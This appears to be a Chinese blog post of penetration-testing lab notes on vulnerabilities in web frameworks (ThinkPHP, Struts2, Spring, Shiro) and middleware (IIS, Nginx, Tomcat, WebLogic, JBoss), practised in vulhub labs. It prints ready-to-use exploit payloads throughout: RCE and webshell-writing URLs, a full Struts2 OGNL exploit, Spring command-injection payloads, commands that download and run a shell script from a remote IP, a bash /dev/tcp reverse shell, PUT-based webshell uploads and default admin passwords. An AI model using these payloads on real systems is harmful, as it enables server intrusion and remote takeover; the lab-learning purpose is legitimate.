常见框架漏洞&常见中间件漏洞

框架漏洞

一、Thinkphp(TP)

环境搭建

复制代码
vulhub/thinkphp/5-rce
docker-compose up -d 

1.远程命令执行POC

复制代码
命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

2.远程代码执行POC

复制代码
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

3.getshellPOC

复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST['cmd']);?>" >>4.php  //需要添加\绕过

在根目录下生成1.php输出phpinfo

二、Struts2

手工挖掘

S2-057远程执行代码漏洞

环境搭建

复制代码
vulhub靶场 /struts2/s2-057
复制代码
http://8.155.8.82:8080//struts2-showcase/ //访问struts-showcase

url处设置POC

复制代码
/struts2-showcase/${(123+123)}/actionChain1.action

回车123+123 会相加

注意:不要在register2.action利用,要在actionChain1.action利用

将上面验证payload的值修改为我们的利用exp

复制代码
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcl
udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle
ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run
time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I
OUtils@toString%28%23a.getInputStream%28%29%29%29%7D

工具挖掘

复制代码
app="Struts2"  //搜索语法

三、Spring

1.(CVE-2017-8046)

环境搭建

复制代码
Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
vulhub靶场 /spring/CVE-2017-8046

抓取数据包,使⽤PATCH请求来修改 响应码400正确

复制代码
[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]

进入终端查看是否写入success

2.(CVE-2018-1273)

访问靶场地址

填写注册信息 BP抓包

加上POC

复制代码
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

进入终端查看

反弹shell

其他云服务器写⼀个 反弹shell 脚本

开启shell.sh服务 访问查看是否开启

靶机下载shell.sh

复制代码
/usr/bin/wget -qO /tmp/shell.sh http://114.132.92.17/shell.sh
/bin/bash /tmp/shell.sh

进入靶机查看是否下载到

攻击机nc 监听

执行脚本:

/bin/bash /tmp/shell.sh

四、Shiro

环境搭建

复制代码
vulhub靶场 /shiro/CVE-2016-4437
验证Shiro框架

使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架

复制代码
#构造语句
Cookie:rememberMe=123

利用工具

先爆破密钥;爆破利用链;执行命令

反弹shell

远程下载shell

复制代码
cd /home
ls
vim 1.sh
bash -i >& /dev/tcp/8.155.8.82/8888 0>&1
#在当前目录开启对外服务
python3 -m http.server 8888

工具
//靶机下载反弹shell
wget -O /tmp/shell.sh http://8.155.8.82/1.sh(下载前要开启对外访问)
工具 ls/tmp 查看是否下载成功

#监听端口
nc -lvvp 6666
bash -i /tmp/1.sh

中间件漏洞

一、IIS6.x篇

1.PUT漏洞

环境:

复制代码
fofa:"IIS-6.0" 
本地搭建2003 server

1.开启 WebDAV 和写权限:

网站右键--属性

访问IIS

2.⽤burpsuite 提交OPTIONS 查看支持的协议 :

iis不能直接上传asp文件

3.用PUT上传文档,但不能直接上传方法脚本文档,可以先上传一个其他类型的文档,然后改名成脚本文档

使用MOVE命令将其更名为脚本文档后缀

复制代码
MOVE /test.txt HTTP/1.1
Host: 172.16.1.82
Destination: http://172.16.1.82/shell.asp

访问上传马

如果不能访问asp文件 需要修改网站配置

4.连接马

2.IIS6.0解析漏洞

(看前一篇中间件漏洞)

3.IIS短文件漏洞

环境:windows2003

在cmd下输入" dir /x"即可看到短文件名的效果

复制代码
当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。
当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名
⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种

IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过 OPTIONSTRACE方法也可以猜解成功。

工具

4.IIS RCE-CVE-2017-7269

环境

复制代码
WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。
复制代码
利用工具:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

二、IIS 7x篇

1.IIS7文件解析漏洞

(看前一篇中间件漏洞)

2.HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034

复制代码
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞。

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2

IIS7.5、IIS8.0、IIS8.5

实验环境:Windows2012

三、Apache

1.未知扩展名解析漏洞

(看前一篇中间件漏洞)

2.AddHandler导致的解析漏洞

(看前一篇中间件漏洞)

3.目录遍历漏洞

当客户端访问到⼀个目录时,Apache服务器将会默认寻找⼀个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

4.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

(看前一篇中间件漏洞)

四、Nginx

1.文件解析漏洞

(看前一篇中间件漏洞)

2.目录遍历漏洞

Nginx的目录遍历与apache⼀样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

3.CRLF注入漏洞

环境搭建

复制代码
vluhub靶场 /vulhub/nginx/insecure-configuration
复制代码
抓包头部注入 %0ASet-cookie:JSPSESSID=1

4.文件名逻辑漏洞(CVE-2013-4547)

复制代码
vulhub靶场 /nginx/CVE-2013-4547

创建 2.jpg 文件,并上传

抓包,在该文件名最后添加⼀个空格

上传成功后,浏览器访问 /uploadfiles/2.jpg...php

将2e,2e,2e修改为20,00,2e,发包:

五、tomcat

1.Tomcat 远程代码执行漏洞(CVE-2017-12615)

环境搭建

复制代码
vulhub 靶场/tomcat/CVE-2017-12615

首页抓包,修改为 PUT 方法提交,并写入木马

复制代码
⽀持三种上传绕过⽅式,默认使⽤ put 加⽂件名是失败的,需要绕过:
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp

哥斯拉生成jsp马写入

进行连接

2.tomcat弱口令&war远程部署

(看前一篇中间件漏洞)

环境搭建

复制代码
vulhub 靶场 /tomcat/tomcat8

登录口 /manager/html

默认密码:tomcat/tomcat

3.tomcat 远程代码执行(CVE-2019-0232)

(搭环境麻烦~~~)

4.Apache Tomcat文件包含漏洞(CVE-2020-1938)

(看前一篇中间件漏洞)

环境搭建

复制代码
vulhub靶场 /tomcat/CVE-2020-1938

六、WebLogic

1.weblogic 弱口令getshell漏洞部署war包

(看前一篇中间件漏洞)

在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell

环境搭建

复制代码
vulhub 靶场 /weblogic/weak_password

默认账号密码:weblogic/Oracle@123

这里注意, 错误密码5次之后就会自动锁定

2.XMLDecoder反序列化漏洞(CVE-2017-3506)

(看前一篇中间件漏洞)

环境搭建

复制代码
vulhub 靶场 /weblogic/weak_password

3.wls-wsat反序列化漏洞(CVE-2019-2725)

(看前一篇中间件漏洞)/_async/

复制代码
kali vulhub 靶场 /weblogic/weak_password

4.WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)

环境搭建

复制代码
kali vulhub 靶场 /weblogic/CVE-2018-2628
复制代码
python -m pip install -r stars

5.WebLogic CVE-2018-2894文件任意上传

(看前一篇中间件漏洞)

环境搭建

复制代码
vulhub 靶场 /weblogic/CVE-2018-2894

登陆点:http://192.168.56.134:7001/console/login/LoginForm.jsp
这⾥的密码是随机的,获取密码: docker-compose logs | grep password

6.CVE-2020-14882 WebLogic远程代码执行漏洞

(看前一篇中间件漏洞)/tmp下 反弹shell

环境搭建

复制代码
vulhub 靶场 /weblogic/CVE-2020-14882

七、JBoss

1.JMX Console未授权访问Getshell

(看前一篇中间件漏洞)

2.JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X

(看前一篇中间件漏洞)

3.JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

环境搭建

复制代码
kali vulhub 靶场 /jboss/CVE-2017-12149

4.Jboss 5.x/6.x admin-Console后台部署war包Getshell

(看前一篇中间件漏洞)

5.JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

(没有2013-4810接口~~~)

搭建了 vulhub /jboss/JMXInvokerServlet-deserialization进行实验

使用工具

(看前一篇中间件漏洞CVE-2015-7501)Invoke接口不一样

复制代码
172.16.0.87:8080
http://172.16.0.87:8080/cgi-bin/cmd.bat
http://172.16.0.87:8080/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe

6.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

环境搭建

复制代码
kali vulhub 靶场 /jboss/JMXInvokerServlet-deserialization

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞:

访问8888 看是否对外访问公开

下载sh

500 xiazai成功

这个谈到了

相关推荐
漏洞谷11 小时前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全